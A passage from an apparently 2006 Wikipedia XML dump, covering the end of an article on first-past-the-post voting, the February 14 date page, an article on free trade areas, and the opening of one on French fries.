Multi-party coalitions, on the other hand, require consent among all coalition partners to pass legislation, which some argue gives small parties a disproportionate amount of power. In the UK, arguments for plurality often look to [[Politics of Italy|Italy]] where the frequent government changeovers are presented as undesirable.

FPTP's tendency toward fewer parties and more frequent one-party rule can also produce disadvantages.

One such disadvantage is that the government may not consider as wide a range of perspectives and concerns.  It is entirely possible that a voter will find that all major parties agree on a particular issue. In this case, the voter will not have any meaningful way of expressing a dissenting opinion through his or her vote.

Another disadvantage is that fewer choices are offered to the voters, often pressuring voters to vote for a candidate with whom they largely disagree so as to oppose a candidate with whom they disagree even more (See [[Plurality voting system|tactical voting]] above); this feature pressures candidates to appeal to the extremes in order to avoid being undercut.  This appeal-to-extremes operates by giving those voters who are more centrist no choice but to vote for them. The likely result of this is that candidates will less closely reflect the viewpoints of those who vote for them.

It may also be argued that one-party rule is more likely to lead to radical changes in government policy that are only favored by a plurality or bare majority of the voters, whereas multi-party systems usually require greater consensus in order to make dramatic changes.

===Safe seats===
{{seealso|Rotten borough}}

A ''safe seat'' is one in which a plurality of voters support a particular candidate or party so strongly that their votes for that candidate are guaranteed in advance of the election.  This causes the difficulty that all ''other'' voters in the constituency can then make no difference to the result, since the winner of the seat is already known in advance.  This results in serious feelings of disenfranchisement, and to [[abstention]].

{{sect-stub}}

===Wipeout and clean sweep results===
Since FPTP combined with single member constituencies generate a winner's bonus, if not winner takes all, the opposition can be left with few if any seats (see above).

It is argued that a weak or absent opposition due to an [[Wipe-out results (elections)|electoral wipeout]] is bad for the government. Provincial elections in several Canadian provinces provide suitable [[Wipe-out results (elections)|examples]].

===Disproportionate influence of smaller parties===
Smaller parties can disproportionately change the outcome of a FPTP election by swinging what is called the 50-50% balance of two party systems, by creating a [[political faction|faction]] within one or both ends of the [[political spectrum]] which shifts the winner of the election from an [[absolute majority]] outcome to a [[simple majority]] outcome favoring the previously less favored party.  In comparison, for electoral systems using [[proportional representation]] small groups win only their proportional share of representation.  In the [[United States]], this mechanism falls within one major reasoning (USA, Voting act, 1970s) favoring two-party, First-past-the-post (FPTP) electoral systems.

==Current events==
&lt;!-- put this text somewhere...maybe: The Independent Commission on the Voting System, popularly known as the [[Jenkins Commission]] after its chairman Roy Jenkins, was a commission into possible reform of the United Kingdom electoral system. --&gt;
The [[United Kingdom]] continues to use the first-past-the-post electoral system for general elections, and for local government elections in England and Wales. Changes to the UK system have been proposed, and alternatives were examined by the [[Jenkins Committee]] in the late [[1990s]] but no major changes have been implemented. [[Canada]] also uses this system for national and [[Provinces and territories of Canada|provincial]] elections. In May [[2005]] the Canadian province of [[British Columbia]] had a referendum on abolishing single-member district plurality in favor of multi-member districts with the [[Single Transferable Vote]] system after the [[Citizens' Assembly on Electoral Reform]] made a recommendation for the reform. The referendum obtained 57% of the vote, but failed to meet the 60% requirement for passing.

[[Wales]], [[Scotland]], [[Northern Ireland]], the [[Republic of Ireland]] and [[New Zealand]] are notable examples of countries within the UK, or with previous links to it, that use non-FPTP electoral systems.

Recent examples of nations which have undergone democratic reforms but have not adopted the FPTP system include [[South Africa]], almost all of the former [[Eastern bloc]] nations, [[Russia]], [[Afghanistan]] and [[Iraq]].

===Where plurality voting is used===
Countries that use this system to elect the lower or only house of their legislature include:  
*[[Antigua and Barbuda]]
*[[Bahamas]]
*[[Bangladesh]]
*[[Barbados]]
*[[Belize]]
*[[Bhutan]]
*[[Botswana]]
*[[Canada]]
*[[Dominica]]
*[[Ethiopia]]
*[[The Gambia]]
*[[Ghana]]
*[[Grenada]]
*[[India]] (Proportional representation in upper house)
*[[Italy]] ([[Politics of Italy#History of the political landscape|Since 1993]], In both houses of the [[Parliament of Italy]], an [[Additional Member System]] is used where three-quarters of seats are filled by single member plurality. There is currently discussion in the Italian parliament of going back to an analogue system ahead of the 2006 elections.)
*[[Jamaica]]
*[[Kenya]]
*[[Malawi]]
*[[Malaysia]]
*[[Federated States of Micronesia]]
*[[Morocco]]
*[[Nepal]]
*[[Nigeria]]
*[[Pakistan]]
*[[Palau]]
*[[Papua New Guinea]]
*[[Rwanda]]
*[[Saint Kitts and Nevis]]
*[[Saint Lucia]]
*[[Saint Vincent and the Grenadines]]
*[[Samoa]]
*[[Singapore]]
*[[Solomon Islands]]
*[[South Korea]]
*[[Swaziland]]
*[[Tanzania]]
*[[Tonga]]
*[[Trinidad and Tobago]]
*[[Tuvalu]]
*[[Uganda]]
*[[United Kingdom]] (Parliamentary and local government elections in England and Wales only, PR in elections for EU)
*[[United States]] (except for [[Louisiana]])
*[[Yemen]]
*[[Zambia]]
*[[Zimbabwe]]

{{seealso|Table of voting systems by nation}}

The plurality election system is used in the [[Republic of China]] on [[Taiwan]] for executive offices such as county magistrates, mayors, and the president, but not for legislative seats which used the [[single non-transferable vote]] system.  This has produced an interesting [[Politics of the Republic of China|party structure]] in which there are two broad coalitions of parties which cooperate in executive elections but which compete internally in legislative elections. {{ref|count}}

India uses a [[proportional representation]] system for its upper house.

==See also==
*[[Portal:Politics|List of democracy and elections-related topics]]
*[[Proportional representation]]
*[[Runoff voting]]
*[[Single non-transferable vote]]
*[[Single Transferable Vote|Single transferable vote]]
*[[Voting system]]

{{note|brit}} [http://www.aceproject.org/main/english/es/esh.htm &quot;The Global Distribution of Electoral Systems&quot;]
{{note|count}} ''Making Votes Count'', Gary Cox (1997)

==External links==
*[http://www.aceproject.org/main/english/es/esd01.htm ACE Project: First Past The Post] - Detailed explanation of first-past-the-post voting
*[http://www.citizensassembly.bc.ca/public The Citizens' Assembly on Electoral Reform says the new proportional electoral system it proposes for British Columbia will improve the practice of democracy in the province.]
*[http://www.citizensassembly.bc.ca/public/learning_resources/learning_materials/av ASSEMBLY AUDIO AND VIDEO Below, you'll find audio and video recordings of six Learning Phase weekends, a meeting held in Prince George and the six Deliberation Phase weekends. The Learning Phase and Deliberation Phase recordings were broadcast on Hansard TV during 2004.] - week 5 gives a detailed description by David Farrell, of the University of Manchester (England), Elizabeth McLeay of Victoria University in Wellington, New Zealand.

*[http://en.wikipedia.org/wiki/Image:Illinois_District_4_2004.png Districting in FPTP systems, The unusual &quot;earmuff&quot; shape of the 4th Congressional District of Illinois connects two Hispanic neighborhoods while remaining contiguous by narrowly tracing Interstate 294.]

[[Category:Voting systems]]

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[[zh:多數制]]</text>
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|- 
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|{{ThisDateInRecentYears|Month=February|Day=14}}
|}
[[February 14]] is the [[45 (number)|45]]th day of the year in the [[Gregorian Calendar]].  There are 320 days remaining, 321 in [[leap year]]s.
==Events==
* [[842]]  - [[Charles the Bald]] and [[Louis the German]] swear the [[Oaths of Strasbourg]] in French and German language.
* [[1014]] - [[Pope Boniface I]] recognizes [[Henry the Fowler|Henry of Bavaria]] as [[King]] of [[Germany]].
* [[1076]] - [[Pope Gregory VII]] excommunicates [[Henry IV, Holy Roman Emperor]].
* [[1556]] - [[Thomas Cranmer]] is declared a [[heresy|heretic]].
* [[1575]] - [[Henry III of France]] marries [[Louise de Lorraine-Vaudémont]].
* [[1743]] - [[Henry Pelham]] becomes [[Prime Minister of the United Kingdom|British Prime Minister]].
* [[1779]] - [[James Cook]] is killed by the natives of the [[Sandwich Islands]].
* [[1797]] - [[John Jervis, 1st Earl of St Vincent]] &amp; [[Horatio Nelson, 1st Viscount Nelson]] led the [[British]] [[Royal Navy]] to victory over a [[Spanish]] fleet in the [[Battle of Cape St. Vincent (1797)|Battle of Cape St. Vincent]] near [[Gibraltar]].
* [[1803]] - [[Chief Justice of the United States|Chief Justice]] [[John Marshall]] declares that any act of [[Congress of the United States|U.S. Congress]] which conflicts with the [[United States Constitution|Constitution]] is void.
* [[1804]] - [[Karadjordje]] leads the [[First Serbian Uprising]] against the [[Ottoman Empire]].
* [[1831]] - Ras [[Marye of Yejju]] marches into [[Tigray]] and defeats and kills dejjazmatch [[Sabagadis]] in the [[Battle of Debre Abbay]].
* [[1843]]- The event that inspired the song ''[[Being for the Benefit of Mr. Kite!]]'' is held.
* [[1849]] - In [[New York City]], [[James Knox Polk]] becomes the first [[President of the United States]] to have his [[photograph]] taken.
*[[1854]] - [[Texas]] is linked by [[Telegraphy|telegraph]] with the rest of the [[United States| United States]], when a connection between [[New Orleans, Louisiana| New Orleans]] and [[Marshall, Texas]] is completed.
* [[1859]] - [[Oregon]] is admitted as the 33rd [[U.S. state]].
* [[1876]] - [[Alexander Graham Bell]] applies for a [[patent]] for the [[telephone]],as does [[Elisha Gray]].
* [[1879]] - The [[War of the Pacific]] breaks out when [[Chile]]an armed forces occupy the [[Bolivia]]n port city of [[Antofagasta]].
*[[1886]] - First trainload of [[orange (fruit)|orange]]s left [[Los Angeles]] via the [[transcontinental railroad#United States| transcontinental railroad]].
* [[1895]] - First performance of [[Oscar Wilde]]'s last play ''[[The Importance of Being Earnest]]'' at the [[St James's Theatre]] in [[London]]).
* [[1899]] - [[Voting machine]]s are approved by the [[Congress of the United States|U.S. Congress]] for use in federal [[election]]s.
* [[1900]] - [[Russia]] responds to international pressure to free [[Finland]] by tightening imperial control over the country. 
* 1900 - [[Second Boer War]]: In [[South Africa]], 20,000 [[United Kingdom|British]] troops invade the [[Orange Free State]].
* [[1903]] - The [[United States Department of Commerce|United States Department of Commerce and Labor]] is established (later split into Dept. of Commerce and [[United States Department of Labor|Dept. of Labor]]).
* [[1912]] - [[Arizona]] is admitted as the 48th [[U.S. state]].
* 1912 - In [[Groton, Connecticut]], the first [[diesel]]-powered [[submarine]] is commissioned. 
* [[1918]] - ''[[Tarzan of the Apes]],'' [[Tarzan#Movies|the first movie]] featuring [[Edgar Rice Burroughs]]' [[Tarzan]] character, is released. 
* 1918 - The [[Soviet Union]] adopts the [[Gregorian calendar]] ([[1 February]] according to the [[Julian calendar]]).
* [[1919]] - The [[Polish-Soviet War]] begins.
* [[1920]] - The [[League of Women Voters]] is founded in [[Chicago, Illinois]].
* [[1924]] - The [[International Business Machines]] Corporation (IBM) is founded.
* [[1929]] - [[St. Valentine's Day Massacre]]: Seven [[gangster]]  rivals of [[Al Capone]] are murdered in [[Chicago, Illinois]].
* [[1943]] - [[World War II]]:[[Rostov]], [[Russia]] is liberated.
* 1943 - World War II: The [[Battle of the Kasserine Pass]] - [[Germany|German]] [[General]] [[Erwin Rommel]] and his [[Afrika Korps]] launch an offensive against [[Allied]] defenses in [[Tunisia]].
* [[1944]] - World War II: Anti-[[Japan]]ese revolt on [[Java (island)|Java]].
* [[1945]] - On the second day of the [[Bombing of Dresden in World War II]] the [[United Kingdom|British]] [[Royal Air Force]] and the [[United States Army Air Force]] begin [[fire-bomb]]ing [[Dresden]], the capital of the [[Germany|German]] state of [[Saxony]].
* 1945 - [[Bombing of Prague]] - probably due to a mistake in the orientation of the pilots bombing Dresden.
* 1945 - [[Chile]], [[Ecuador]], [[Paraguay]] and [[Peru]] join the [[United Nations]]. 
* 1945 - President [[Franklin D. Roosevelt]] meets with [[King]] [[Ibn Saud]] of [[Saudi Arabia]] aboard the [[USS Quincy|USS ''Quincy'']], officially starting the [[United States|U.S.]]-[[Saudi]] diplomatic relationship.
* 1945 - Fascism was destroyed in City of Mostar,Bosnia and Herzegovina(then:Yugoslavia) thanks to partisans(Dalmatinaska birgada,Hercegovacka divizija).
* [[1946]] - The [[Bank of England]] is nationalized.
* 1946 - [[ENIAC]] (for &quot;Electronic Numerical Integrator and Computer&quot;), the first general-purpose electronic [[computer]], is unveiled at the [[University of Pennsylvania]].
* [[1949]] - The [[Knesset]] ([[Israel]]i parliament) first convenes.
* 1949 - The [[Asbestos Strike]] begins in [[Canada]]. The strike marks the beginning of the [[Quiet Revolution]] in [[Quebec]].
* [[1952]] - [[1952 Winter Olympic Games | VI Olympic Winter Games ]] open in [[Oslo]], [[Norway]].
* [[1956]] - The [[20th Congress of the CPSU|XX Congress]] of the [[Communist Party of the Soviet Union]] starts in [[Moscow]]. In the last night of the meeting, in a secret session, Premier [[Nikita Khruschev]] condemns [[Josef Stalin]]'s crimes.
* [[1961]] - [[Discovery of the chemical elements]]: [[Element 103]], [[Lawrencium]], is first synthesized at the [[University of California, Berkeley|University of California]]. 
* [[1962]] - [[First Lady of the United States|First Lady]] [[Jacqueline Kennedy]] takes [[television]] viewers on a tour of the [[White House]]. 
* [[1966]] - [[Australia|Australian]] currency is [[decimalisation|decimalised]].   
* [[1979]] - In [[Kabul]], [[Muslim]] extremists kidnap the [[United States|American]] [[ambassador]] to [[Afghanistan]], [[Adolph Dubs]] who is later killed during a gunfight between his kidnappers and police.
* [[1980]] - [[1980 Winter Olympic Games | XIII Olympic Winter Games]] open in [[Lake Placid, New York]].
* 1980 - [[Walter Cronkite]] announces his retirement from the ''[[CBS Evening News]]''.
* [[1981]] - [[Stardust Disaster]]. A fire in a [[Dublin]] nightclub kills 48 people  
* [[1985]] - [[CNN]] reporter [[Jeremy Levin]] is freed from captivity in [[Lebanon]]. 
* [[1989]] - [[Union Carbide]] agrees to pay $470 million to the [[India]]n government for damages it caused in the [[1984]] [[Bhopal Disaster]].
* 1989 - [[Iran]]ian leader [[Ruhollah Khomeini]] issues a [[fatwa]] encouraging [[Muslim]]s to kill the author of ''[[The Satanic Verses (novel)|The Satanic Verses]]'', [[Salman Rushdie]]. 
* 1989 - The first of 24 [[satellite]]s of the [[Global Positioning System]] is placed into orbit. 
* [[1998]] - Authorities in the [[United States]] announce that [[Eric Robert Rudolph]] is a suspect in an [[Alabama]] [[abortion]] clinic bombing.
* [[2000]] - The spacecraft [[NEAR Shoemaker]] enters orbit around asteroid [[433 Eros]], the first spacecraft to orbit an asteroid.
* [[2002]] - ''[[The Tullaghmurray Lass]]'' sinks off the coast of [[Kilkeel]], [[County Down]], [[Northern Ireland]] killing three members of the same family on board. 
* [[2004]] - In a suburb of [[Moscow]], [[Russia]], the roof of the [[Transvaal Park|Transvaal water park]] collapses, killing more than 25 people, and wounding more than 100 others.
* [[2005]] - [[Lebanon]]'s former [[Prime Minister]], [[Rafik Hariri]], is assassinated, prompting the [[Cedar Revolution]] ([[Intifada of Independence]]).
* 2005 - Seven people were killed and 151 wounded in a series of bombings by suspected [[Al-Qaeda]]-linked militants that hit the [[Philippines]]' [[Makati]] financial district in [[Metro Manila]], [[Davao City]], and [[General Santos City]].

==Births==
*[[1404]] - [[Leone Battista Alberti]], Italian painter, poet, and philosopher (d. [[1472]])
*[[1483]] - [[Babur|Zahir al-Din Mohammed Babur Shah]], Moghul emperor of India (d. [[1530]])
*[[1602]] - [[Francesco Cavalli]], Italian composer (d. [[1676]])
*[[1680]] - [[John Sidney, 6th Earl of Leicester]], English privy councillor (d. [[1737]])
*[[1692]] - [[Pierre-Claude Nivelle de La Chaussée]], French writer (d. [[1754]])
*[[1701]] - [[Enrique Florez]], Spanish historian (d. [[1773]])
*[[1763]] - [[Jean Victor Marie Moreau]], French general (d. [[1813]])
*[[1766]] - [[Thomas Malthus]], English economist (d. [[1834]])
*[[1812]] - [[Alfred Thomas Agate]], American artist (d. [[1846]])
*[[1819]] - [[Joshua A. Norton]], Emperor Norton I of the United States of America and Protector of Mexico (d. [[1880]])
*[[1847]] - [[Anna Howard Shaw]], American women's suffrage leader (d. [[1919]])
*[[1848]] - [[Benjamin Baillaud]], French astronomer (d. [[1934]])
*[[1856]] - [[Frank Harris]], Irish author and editor (d. [[1931]])
*[[1869]] - [[Charles Wilson (physicist)|Charles Wilson]], Scottish physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1959]])
*[[1884]] - [[Hezekiah M. Washburn]], missionary (d. [[1972]])
*[[1890]] - [[Nina Hamnett]], Welsh artist (d. [[1956]])
*[[1894]] - [[Jack Benny]], American actor and comedian (d. [[1974]])
*[[1895]] - [[Max Horkheimer]], German philosopher and sociologist (d. [[1973]])
*[[1898]] - [[Fritz Zwicky]], Swiss-American physicist and astronomer (d. [[1974]])
*[[1903]] - [[Stuart Erwin|Stu Erwin]], American actor (d. [[1967]])
*[[1905]] - [[Thelma Ritter]], American actress (d. [[1969]])
*[[1912]] - [[Tibor Sekelj]], Croatian explorer (d. [[1988]])
*[[1913]] - [[Mel Allen]], American sports reporter (d. [[1996]])
*1913 - [[Woody Hayes]], American college football coach (d. [[1987]])
*1913 - [[Jimmy Hoffa]], American labor union leader (disappeared [[1975]])
*[[1916]] - [[Masaki Kobayashi]], Japanese director (d. [[1996]])
*1916 - [[Edward Platt]], American actor (d. [[1974]])
*[[1917]] - [[Herbert A. Hauptman]], American mathematician, recipient of the [[Nobel Prize in Chemistry]]
*[[1921]] - [[Hugh Downs]], American television host
*[[1927]] - [[Lois Maxwell]], Canadian actress
*[[1929]] - [[Vic Morrow]], actor (d. [[1982]])
*[[1931]] - [[Brian Kelly]], American actor (d. [[2005]])
*[[1932]] - [[Alexander Kluge]], German actor and film director
*[[1933]] - [[Madhubala]], Indian actress (d. [[1969]])
*[[1934]] - [[Michel Corboz]], Swiss conductor
*1934 - [[Florence Henderson]], American actress
*[[1936]] - [[Fanne Foxe]], Argentine dancer
*1936 - [[Andrew Prine]], American actor
*[[1941]] - [[Donna Shalala]], American politician, educator
*1941 - [[Paul Tsongas]], U.S. Senator (d. [[1997]])
*[[1942]] - [[Michael Bloomberg]], Mayor of New York City
*1942 - [[Andrew Robinson]], actor
*[[1943]] - [[Maceo Parker]], American musician ([[P-Funk]])
*[[1944]] - [[Carl Bernstein]], American journalist
*1944 - [[Alan Parker]], British film director and writer
*[[1945]] - [[Frank Welker]], American actor
*[[1946]] - [[Bernard Dowiyogo]], [[President of Nauru]] (d. [[2003]])
*1946 - [[Gregory Hines]], American dancer and actor (d. [[2003]])
*[[1948]] - [[Pat O'Brien (television)|Pat O'Brien]], American sportscaster and television host
*1948 - [[Teller (magician)|Teller]], American magician ([[Penn and Teller]])
*[[1951]] - [[Kevin Keegan]], Liverpool Footballer
*[[1959]] - [[Renee Fleming]], Canadian soprano
*[[1960]] - [[Jim Kelly]], American football player
*1960 - [[Meg Tilly]], Canadian actress
*[[1962]] - [[Kevyn Aucoin]], American cosmetologist (d. [[2002]])
*[[1963]] - [[Enrico Colantoni]], Canadian actor
*1963 - [[Zach Galligan]], American actor
*[[1967]] - [[Manuela Maleeva]], Bulgarian tennis player
*[[1968]] - [[Jules Asner]], American model and television personality
*[[1970]] - [[Simon Pegg]], British comedian, writer, and actor
*[[1971]] - [[Noriko Sakai]], Japanese singer
*[[1972]] - [[Drew Bledsoe]], American football player
*1972 - [[Hiroshi (Owarai)|Hiroshi]], Japanese comedian
*1972 - [[Rob Thomas (musician)|Rob Thomas]], American musician ([[matchbox twenty]])
*[[1973]] - [[Steve McNair]], American football player
*[[1978]] - [[Richard Hamilton (basketball)|Richard Hamilton]], American basketball player
*[[1979]] - [[Antonio Chatman]], American football player
*[[1980]] - [[Fatima Leyva]], Mexican footballer
*[[1985]] - [[Philippe Senderos]], Swiss footballer
*[[1992]] - [[Freddie Highmore]], British actor

&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1317]] - [[Marguerite of France (born 1282)|Marguerite of France]], queen of [[Edward I of England]] (b. [[1282]])
*[[1400]] - King [[Richard II of England]] (murdered) (b. [[1367]])
*[[1405]] - [[Timur]], Mongol conqueror (b. [[1336]])
*[[1523]] - [[Pope Adrian VI]]
*[[1676]] - [[Abraham Bosse]], French engraver and artist
*[[1737]] - [[Charles Talbot, 1st Baron Talbot of Hensol]], [[Lord Chancellor|Lord Chancellor of Great Britain]] (b. [[1685]])
*[[1744]] - [[John Hadley]], inventor (b. [[1682]])
*[[1779]] - [[James Cook]], British naval captain and explorer (b. [[1728]])
*[[1780]] - [[William Blackstone]], English jurist (b. [[1723]])
*[[1808]] - [[John Dickinson (1732-1808)|John Dickinson]], American lawyer and delegate to the U.S. Constitutional Convention (b. [[1732]])
*[[1831]] - [[Vicente Guerrero]], Mexican revolutionary hero (b. [[1782]])
*1831 - [[Henry Maudslay]], English inventor (b. [[1771]])
*[[1885]] - [[Jules Vallès]], French writer (b. [[1832]])
*[[1891]] - [[William Tecumseh Sherman]], Civil War General (b. [[1820]])
*[[1894]] - [[Eugène Charles Catalan]], Belgian mathematician (b. [[1814]])
*[[1929]] - [[Tom Burke]], American runner (b. [[1875]])
*[[1943]] - [[Dora Gerson]], German actress, cabaret singer, and Holocaust victim (b. [[1899]])
*[[1943]] - [[David Hilbert]], German mathematician (b. [[1862]])
*[[1949]] - [[Yusuf Salman Yusuf]], Iraqi communist leader
*[[1958]] - [[Abdul Rab Nishtar]], veteran leader of [[Pakistan Movement]], (b. [[1899]])
*[[1959]] - [[Baby Dodds]], American jazz drummer (b. [[1898]])
*[[1969]] - [[Vito Genovese]], American gangster (b. [[1897]])
*[[1970]] - [[Herbert Strudwick]], English cricketer (b. [[1880]]).
*[[1974]] - [[Stewie Dempster]], New Zealand cricketer (b. [[1903]])
*[[1975]] - [[Julian Huxley]], British biologist (b. [[1887]])
*1975 - [[P. G. Wodehouse]], English writer (b. [[1881]])
*[[1979]] - [[Adolph Dubs]], American diplomat (b. [[1920]])
*[[1983]] - [[Lina Radke]], German athlete (b. [[1903]])
*[[1987]] - [[Dmitri Borisovich Kabalevsky]], Russian composer (b. [[1904]])
*[[1988]] - [[Frederick Loewe]], Austrian-American composer (b. [[1901]])
*[[1989]] - [[James Bond (ornithologist)|James Bond]], American ornithologist (b. [[1900]])
*[[1994]] - [[Andrei Chikatilo]], Russian serial killer (executed) (b. [[1936]])
*1994 - [[Michael Gazzo]], American actor (b. [[1923]])
*[[1995]] - [[U Nu]], Burmese politician (b. [[1907]])
*[[1999]] - [[John Ehrlichman]], American presidential advisor (b. [[1925]])
*[[2002]] - [[Nándor Hidegkuti]], Hungarian footballer (b. [[1922]])
*[[2003]] - [[Dolly the sheep]], first cloned mammal (b. [[1996]])
*2003 - [[Johnny Longden]], English jockey (b. [[1907]])
*[[2004]] - [[Marco Pantani]], Italian cyclist (b. [[1970]])
*[[2005]] - [[Najai Turpin]], American boxer
*2005 - [[Rafik Hariri]], Lebanese politician and billionaire businessman (b. [[1944]])
*[[2006]] - [[Shoshana Damari]], the &quot;Queen of [[Israeli]] song&quot; (b. [[1923]])
*2006 - [[Lynden David Hall]], British singer (b.[[1974]])
*2006 - [[Jackie Pallo]], Famous [[British]] wrestler
*2006 - [[Darry Cowl]], French musician and actor (b. [[1925]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*[[Denmark]] - [[Fastelavn]]. Children exchange cards knowns as ''[[gækkebrev]]''.
*[[Mexico]] - [[Day of National Mourning]] ([[1831]]).
*[[Arizona]] - [[Admission Day]] ([[1912]]).
*[[Oregon]] - [[Admission Day]] (1859).
*[[Western World]] - [[Valentine's Day]].
*[[Europe]]/[[Catholicism]] - Feast day of Saints [[Saint Cyril|Cyril]] and [[Saint Methodius|Methodius]], patron saints of [[Europe]].
*[[Catholicism]] - Feast day of [[Saint Valentine]].
*[[Iraq]] - 'Communist Martyrs Day' celebrated by [[Iraqi Communist Party]].

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=14 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060214.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/14 BBC: On This Day]

----

[[February 13]] - [[February 15]] - [[January 14]] - [[March 14]] -- [[historical anniversaries]]

{{months}}

[[af:14 Februarie]]
[[ar:14 فبراير]]
[[an:14 de frebero]]
[[ast:14 de febreru]]
[[bg:14 февруари]]
[[be:14 лютага]]
[[bs:14. februar]]
[[ca:14 de febrer]]
[[ceb:Pebrero 14]]
[[cv:Нарăс, 14]]
[[co:14 di frivaghju]]
[[cs:14. únor]]
[[cy:14 Chwefror]]
[[da:14. februar]]
[[de:14. Februar]]
[[et:14. veebruar]]
[[el:14 Φεβρουαρίου]]
[[es:14 de febrero]]
[[eo:14-a de februaro]]
[[eu:Otsailaren 14]]
[[fo:14. februar]]
[[fr:14 février]]
[[fy:14 febrewaris]]
[[ga:14 Feabhra]]
[[gl:14 de febreiro]]
[[ko:2월 14일]]
[[hr:14. veljače]]
[[io:14 di februaro]]
[[id:14 Februari]]
[[ia:14 de februario]]
[[ie:14 februar]]
[[is:14. febrúar]]
[[it:14 febbraio]]
[[he:14 בפברואר]]
[[jv:14 Februari]]
[[kn:ಫೆಬ್ರವರಿ ೧೪]]
[[ka:14 თებერვალი]]
[[csb:14 gromicznika]]
[[ku:14'ê reşemiyê]]
[[lt:Vasario 14]]
[[lb:14. Februar]]
[[li:14 februari]]
[[hu:Február 14]]
[[mk:14 февруари]]
[[ms:14 Februari]]
[[nap:14 'e frevaro]]
[[nl:14 februari]]
[[ja:2月14日]]
[[no:14. februar]]
[[nn:14. februar]]
[[oc:14 de febrièr]]
[[pl:14 lutego]]
[[pt:14 de Fevereiro]]
[[ro:14 februarie]]
[[ru:14 февраля]]
[[se:Guovvamánu 14.]]
[[sco:14 Februar]]
[[sq:14 Shkurt]]
[[scn:14 di frivaru]]
[[simple:February 14]]
[[sk:14. február]]
[[sl:14. februar]]
[[sr:14. фебруар]]
[[fi:14. helmikuuta]]
[[sv:14 februari]]
[[tl:Pebrero 14]]
[[tt:14. Febräl]]
[[te:ఫిబ్రవరి 14]]
[[th:14 กุมภาพันธ์]]
[[vi:14 tháng 2]]
[[tr:14 Şubat]]
[[uk:14 лютого]]
[[wa:14 di fevrî]]
[[war:Pebrero 14]]
[[zh:2月14日]]
[[pam:Pebreru 14]]</text>
    </revision>
  </page>
  <page>
    <title>Free trade area</title>
    <id>10883</id>
    <revision>
      <id>42058346</id>
      <timestamp>2006-03-03T14:46:04Z</timestamp>
      <contributor>
        <username>John wesley</username>
        <id>689662</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{trading blocs}}

A '''free trade area''' is a designated group of countries that have agreed to eliminate [[tariff]]s, [[quota]]s and preferences on most [[Good (economics)|goods]] between them. 

It is the second stage of [[economic integration]].

Countries choose this kind of economic intergration form, if their economical structures are complementary. If they are competitive, they will choose [[customs union]]. 

Unlike a [[customs union]], members of a free trade area do not have the [[Common External Tariff|same policies with respect to non-members]], meaning different [[quota]]s and [[Customs (tax)|customs]]. To avoid evasion (trough [[re-exportation]]) the countries use the system of certification of origin most commonly called [[Rules of Origin]], where there is a requierment for the minimum extent of local [[material]] inputs and local transformations adding [[Value (economics)|value]] to the goods. Goods that don't cover these minimum requierments are not entitled for the special treatment envisioned in the [[free trade area]] provisions. 

[[Cumulation]] is the relationship between different FTAs regarding the [[Rules of Origin]] - sometimes different FTAs suplement each other, in other cases there is no cross-cumulation between the FTAs.

The '''Free Trade Area''' is a result of a '''Free Trade Agreement''' (a form of [[trade pact]]) between two or more countries. Free Trade Areas/Agreements (FTA) are cascadable to some degree - if some countries sign agreement to form free trade area and choose to negotiate together (eighter as a [[trade bloc]] or as a forum of individual members of their FTA) another free trade agreement with some external country (or countries) - then the new FTA will consist of the old FTA plus the new country (or countries).

A '''Free Trade Area''' is a region in which obstacles to unrestricted trade have been reduced to a minimum.

Within an industrialized country there are usually few if any significant barriers to the easy exchange of goods and services between parts of that country.  For example, there are usually no trade [[tariff]]s or import [[quota]]s; there are usually no delays as goods pass from one part of the country to another (other than those that distance imposes); there are usually no differences of taxation and regulation.

Between countries on the other hand, many of these barriers to the easy exchange of goods can and often do occur.  It is commonplace for there to be import duties of one kind or another (as goods enter a country) and the levels of sales tax and regulation often vary by country.

The aim of a [[free trade]] area is to so reduce barriers to easy exchange that trade can grow as a result of specialisation, division of labour, and most importantly via (the theory and practice of) [[comparative advantage]].  The theory of comparative advantage argues that in an unrestricted marketplace (in equilibrium) each source of production will tend to specialize in that activity where it has comparative (rather than absolute) advantage.  The theory argues that the net result will be an increase in income and ultimately wealth and well-being for everyone in the free trade area. However the theory refers only to aggregate wealth and says nothing about the distribution of wealth. In fact there may be significant losers, in particular among the recently protected industries with a comparative disadvantage. The proponent of free trade can, however, retort that the gains of the gainers exceed the losses of the losers.

== See also ==
*[[trade]]
*[[List of Free Trade Agreements]]
*[[List of Trade blocs]]
*[[List of international trade topics]]
*[[free trade zone]]

&lt;!--
==External links==

--&gt;
[[Category:International trade]]

[[es:Tratado de Libre Comercio]]</text>
    </revision>
  </page>
  <page>
    <title>French fries</title>
    <id>10885</id>
    <revision>
      <id>42083592</id>
      <timestamp>2006-03-03T18:42:09Z</timestamp>
      <contributor>
        <ip>143.107.18.108</ip>
      </contributor>
      <text xml:space="preserve">'''French fried potatoes''' (North America; often shortened to '''French fries''' or '''fries''') or '''chips''' (outside North America) are long, narrow pieces of [[potato]] that have been deep-fried. They are known as ''chips'' in the [[United Kingdom]], [[Ireland]], and the [[Commonwealth of Nations|Commonwealth]] (excluding [[Canada]]). They are usually shortened to ''fries'' in [[North America]].

[[Image:frit.jpg|thumb|400px|French fries and a &quot;vleeskroket&quot;: a traditional Dutch dish.]]

==Name==
===Usage===
In the regions where the word &quot;chips&quot; is in more common usage, the term &quot;french fries&quot; is usually also understood, but is reserved for the thinner American-style variant as opposed to the much thicker slices of potato found in &quot;[[fish and chips]]&quot;. In the [[United States|U.S.]] and [[Canada]], &quot;chips&quot; usually means [[potato chips]] (called &quot;crisps&quot; in the U.K.), which while also made of fried potato, are a completely different type of food. In [[Australia]], &quot;chips&quot; is used for both potato chips and french fries - the latter is qualified as &quot;hot chips&quot; if there is a chance of confusion.

===Origin===
The logical explanation of the origin of the North American name of the dish is that it derives from potatoes that have been &quot;fried in the French manner&quot;. The English verb ''fry'' is ambiguous: it can refer to both to sautéing and to deep-fat frying, while the [[French language|French]] &quot;pommes frites&quot; (&quot;fried potatoes&quot;) refers unambiguously to deep frying.

